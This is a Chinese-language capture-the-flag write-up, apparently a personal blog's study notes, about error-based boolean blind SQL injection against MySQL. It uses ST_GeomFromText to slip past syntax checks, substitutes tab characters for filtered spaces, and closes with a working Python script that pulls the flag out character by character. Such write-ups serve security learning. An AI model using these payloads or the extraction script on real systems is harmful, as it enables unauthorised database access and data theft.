我TMD烦死了学习笔记

我TMD烦死了学习笔记

本题的解题思路是基于运行错误的Bool型盲注。

通过关键函数,可以绕过MYSQL语法检查,运行时候再出错。通过出错反馈进行布尔型盲注。

关键函数

Spatial Functions

这里用到两个Spatial Functions的函数,分别是ST_GeomFromText 、 ST_MPointFromText。两个函数相似,后文都采取前者做题。ST_GeomFromText函数的作用就是将指定字符串转换成对应的几何值返回,还有一个就是空间参照系标识符,由参数srid指定。具体如下:

1
2
ST_GeomFromText(character-string[, srid])
例: ST_GeomFromText('POINT(-122.34900 47.65100)', 4326)

但是在这道题里面我们不是运用此函数转换空间几何值的功能,而是借助此函数能绕过MYSQL检查的性质解题。需要注意的是 ST_GeomFromText 针对的是 POINT() 函数, ST_MPointFromText 针对的是 MULTIPOINT() 函数的。

用 ST_GeomFromText ()构造以下sql语句,查看是否可行。

1
mysql> SELECT IF(0, ST_X(ST_GeomFromText('POINT(abc123)')), 0);

运行结果:

1
2
3
4
5
6
7
mysql> SELECT IF(0, ST_X(ST_GeomFromText('POINT(abc123)')), 0);
+---------------------------------------------------+
| IF(0, ST_X(ST_GeomFromText('POINT(123)')), 0) |
+---------------------------------------------------+
| 0 |
+---------------------------------------------------+
1 row in set (0.00 sec)

我们知道,POINT()函数传入的必须是GIS的地理坐标。我们传入一个常量或者underfined类型(如上面的abc123),函数可以正常运行。

这是在if(0)下试验的,换成if(1)后,再实验一波。

1
mysql> SELECT IF(1, ST_X(ST_GeomFromText('POINT(abc123)')), 0);

运行结果:

1
2
mysql> SELECT IF(1, ST_X(ST_GeomFromText('POINT(abc123)')), 0);
ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.

明显,运行出错了。是因为POINT()函数里传入的不是规定数据类型而是abc123导致的。到这里,我们就可以确定,ST_GeomFromText函数可以绕过mysql检查,且在运行时会因为内部参数出错而报错。

回到题目,在cat后面输入任何数字时,页面不变。

image-20210130002842993

输入字母的时候,显示空白。image-20210130002903117

输入–的时候,发现换了一张图片

image-20210130002949249

经过简单的fuzz后,发现很多都被ban掉,出现乌克兰小乳猪

image-20210130003541395

image-20210130003554123

其中有过滤掉了空格,空格可以各种绕过。结合 ST_GeomFromText,构造payload如下:

1
index.php?cat=1%09and%09IF(0,ST_X(ST_GeomFromText(123)),0)

image-20210130003717068

将if改位true即f(1)时,返回空白页面。

1
index.php?cat=1%09and%09IF(1,ST_X(ST_GeomFromText(123)),0)

image-20210130003807669

对此,可以编写py脚本,把flag一个字母一个字母得跑出来。

编写的脚本中,由于空格被过滤掉了,所以使用Tab键代替空格。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#author:Gqleung
#Email: admin@plasf.cn
#blog: http://www.plasf.cn

import requests

def ord2hex(string):
result = ""
for i in string:
r = hex(ord(i));
r = r.replace('0x','')
result = result+r
return '0x'+result

url = "http://47.98.234.232:28000/index.php?cat="
tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-}{'
result=""
for i in range(1,70):
for j in tables:
if j =="{" or j=="}":
j='\\'+j
payload = "1 and IF((select flag from flag) regexp binary %s, ST_X(ST_GeomFromText(0x504F494E54286D61647329)), 0)"%(ord2hex("^"+result+j))
r = requests.get(url+payload);
if 'cat' not in r.text:
result=result+j
print(result.replace('\\',''))
break

image-20210130003934772